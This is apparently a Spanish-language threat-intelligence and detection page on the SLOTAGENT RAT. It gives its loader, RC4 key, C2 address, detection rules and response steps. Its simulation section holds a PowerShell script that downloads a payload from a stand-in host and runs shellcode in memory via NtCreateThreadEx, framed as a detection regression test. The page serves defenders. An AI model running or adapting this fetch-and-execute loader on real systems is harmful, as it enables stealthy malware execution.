Nuevo Malware SLOTAGENT que Admite la Ejecución BOF Publicado
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
IIJ identificó un RAT multifuncional previamente desconocido llamado SLOTAGENT dentro de un archivo ZIP subido a un repositorio público. El malware es compatible con la ejecución de payloads de Beacon Object File e incluye capacidades antiforenses como la manipulación de sellos de tiempo para dificultar el análisis. Se comunica con un punto final TCP codificado a través de un protocolo personalizado que intercambia datos en formato JSON. El cargador depende de datos de configuración cifrados con RC4 y utiliza carga reflexiva de DLL para ejecutar el payload final.
Investigación
El análisis estático mostró que el ejecutable del cargador, WindowsOobeAppHost.AOT.exe, resuelve funciones de API de Windows a través de una rutina de hash personalizada basada en DJB2. Su archivo de configuración cifrado, db.config, se descifra con RC4 usando la clave easdbadshyfab y luego se ejecuta como shellcode que contiene un DLL codificado con XOR. Después de cargarlo, el RAT se conecta a 43.156.59.110:699 y procesa comandos basados en JSON que soportan funciones como captura de pantalla, carga y descarga de archivos, y ejecución de BOF.
Mitigación
Los defensores deben detectar la dirección IP de comando y control codificada y buscar las cadenas de ruta características asociadas con el tráfico de red del malware. Las reglas YARA proporcionadas en el informe deberían desplegarse para identificar tanto el cargador como los componentes RAT. Los equipos de seguridad también deben monitorear el comportamiento sospechoso de hash de API y la carga reflexiva de DLL en los puntos finales. La ejecución de archivos EXE o DLL no firmados y no confiables debería restringirse siempre que sea posible.
Respuesta
Si se detectan indicadores vinculados a SLOTAGENT, aísle inmediatamente el host afectado, termine el proceso malicioso y recolecte memoria para un examen forense. La dirección IP de comando y control y los puertos relacionados deben ser bloqueados en el límite de la red. Las organizaciones deberían realizar un barrido completo de los nombres de archivos y hashes conocidos y aplicar las firmas YARA publicadas en los sistemas de detección de puntos finales.
Flujo de ataque
Detecciones
Intento posible de carga lateral de DLL WindowsOobeAppHost.AOT (vía carga de imagen)
Ver
IOCs (HashSha256) para detectar: Nuevo malware SLOTAGENT que soporta ejecución de BOF publicado
Ver
IOCs (SourceIP) para detectar: Nuevo malware SLOTAGENT que soporta ejecución de BOF publicado
Ver
IOCs (DestinationIP) para detectar: Nuevo malware SLOTAGENT que soporta ejecución de BOF publicado
Ver
Detectar comunicación C2 de SLOTAGENT [Conexión de Red de Windows]
Ver
Detección de Ejecución de Malware SLOTAGENT [Creación de Proceso de Windows]
Ver
Ejecución de Simulación
Prerequisito: La verificación previa de Telemetría y Línea Base debe haber pasado.
-
Narrativa de Ataque y Comandos:
El adversario ha obtenido una copia del binario del cargador SLOTAGENT, lo ha renombrado a
WindowsOobeAppHost.AOT.exepara mezclarse con los procesos legítimos de OOBE, y lo ha colocado enC:WindowsSystem32. El payload está almacenado en un blob cifrado en el servidor del atacante. Usando PowerShell, el atacante descarga el blob cifrado, lo descifra en memoria, e invoca la rutina reflexiva del cargador a través deNtCreateThreadEx. El cargador llama internamente aNtCreateFilepara leer recursos adicionales del blob cifrado y luego utiliza carga reflexiva para ejecutar el DLL malicioso sin tocar el disco. Esta actividad produce un evento Sysmon ProcessCreate con exactamente elnombre de la Imageny unCallTraceque contiene las tres cadenas definidas en la regla. -
Script de Prueba de Regresión:
# ------------------------------------------------- # Simulación de carga reflexiva SLOTAGENT (Windows) # ------------------------------------------------- # 1. Definir rutas $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" $payloadUrl = "https://malicious.example.com/payload.bin" $tempPayload = "$env:TEMPpayload.bin" # 2. Asegúrese de que el cargador exista (copia simulada del binario real) if (-not (Test-Path $loaderPath)) { Write-Host "Copiando cargador simulado a $loaderPath" Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath } # 3. Descargar payload cifrado (simulado) Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload # 4. Descifrar payload en memoria (marcador de posición – descifrado real omitido) $decryptedBytes = Get-Content $tempPayload -Encoding Byte # 5. Invocar carga reflexiva a través de llamadas a API nativas # Esto usa un pequeño ayudante C# compilado al vuelo que llama a NtCreateThreadEx $cSharp = @" using System; using System.Runtime.InteropServices; public class ReflectiveLoader { [DllImport("ntdll.dll", SetLastError=true)] public static extern IntPtr NtCreateThreadEx( out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr bytesBuffer); public static void Run(byte[] shellcode) { IntPtr hThread; NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, Process.GetCurrentProcess().Handle, Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0), IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } } "@ Add-Type $cSharp -Language CSharp # 6. Limpiar archivo temporal Remove-Item $tempPayload -Force -
Comandos de Limpieza:
# Terminar cualquier proceso del cargador que quede Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force # Eliminar binario del cargador simulado $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" if (Test-Path $loaderPath) { Remove-Item $loaderPath -Force } # Eliminar cualquier archivo temporal residual Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue